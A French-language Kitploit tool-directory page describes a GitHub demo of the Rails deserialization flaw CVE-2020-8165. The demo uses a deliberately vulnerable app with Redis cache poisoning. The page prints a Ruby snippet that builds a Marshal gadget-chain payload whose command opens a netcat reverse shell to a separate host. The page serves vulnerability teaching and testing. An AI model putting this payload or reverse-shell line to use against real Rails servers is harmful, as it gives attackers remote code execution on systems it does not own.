Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
cve-2020-8165-demo — Démonstration de l'exploitation RCE par désérialisation Rails CVE-2020-8165 avec l'application réaliste Shouter, génération de payload en Ruby, et empoisonnement du cache Redis. | Kitploit
Outils/GitHubGitHub/danielklim/cve-2020-8165-demo
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationDéveloppement de Charges Utiles
GitHubdanielklim/cve-2020-8165-demo

cve-2020-8165-demo

Démonstration de l'exploitation RCE par désérialisation Rails CVE-2020-8165 avec l'application réaliste Shouter, génération de payload en Ruby, et empoisonnement du cache Redis.

Voir le dépôt
11il y a 5 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2020-8165 Demo

Encore une démo de CVE-2020-8165, mais avec une implémentation plus réaliste que la plupart.

Contexte

CVE-2020-8165

Une vulnérabilité de désérialisation de données non fiables existe dans rails < 5.2.4.3, rails < 6.0.3.1 qui peut permettre à un attaquant de démarshaler des objets fournis par l'utilisateur dans MemCacheStore et RedisCacheStore, pouvant mener à une exécution de code à distance (RCE).

Références

  • https://hackerone.com/reports/413388
  • https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-8165
  • https://nvd.nist.gov/vuln/detail/CVE-2020-8165
  • https://www.cvebase.com/cve/2020/8165
  • https://lab.wallarm.com/exploring-de-serialization-issues-in-ruby-projects-801e0a3e5a0a/

Implémentation

L'application « Shouter » dispose d'une fonctionnalité de mise en cache dans son modèle Shout où les images optionnelles soumises avec un shout:string sont mises en cache dans Redis et récupérées de là plutôt que depuis la base de données. Parce que la méthode vulnérable est utilisée pour interagir avec le cache, cette application est susceptible d'être affectée par CVE-2020-8165, et les résultats de l'exécution de code à distance (RCE) sont placés dans l'attribut src des balises dans la route du tableau de bord.

Rails.cache.fetch
img

Génération des charges utiles RCE

L'extrait suivant générera la charge utile que vous devez envoyer en utilisant exploit.py. Il y a une certaine nuance dans l'étape de sérialisation qui doit être résolue pour implémenter complètement l'exploit en Python. Par conséquent, Marshal.dump en Ruby est nécessaire pour générer la charge utile exacte (pour l'instant).

root@kitploit:~
cmd = "Thread.new{system('nc 172.17.188.169 3001 -e /bin/bash')}"
erb = ERB.allocate
erb.instance_variable_set(:@src, cmd)
erb.instance_variable_set(:@lineno, 0)
payload_raw = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result)
payload = Marshal.dump(payload_raw)
p payload
Télécharger l’outil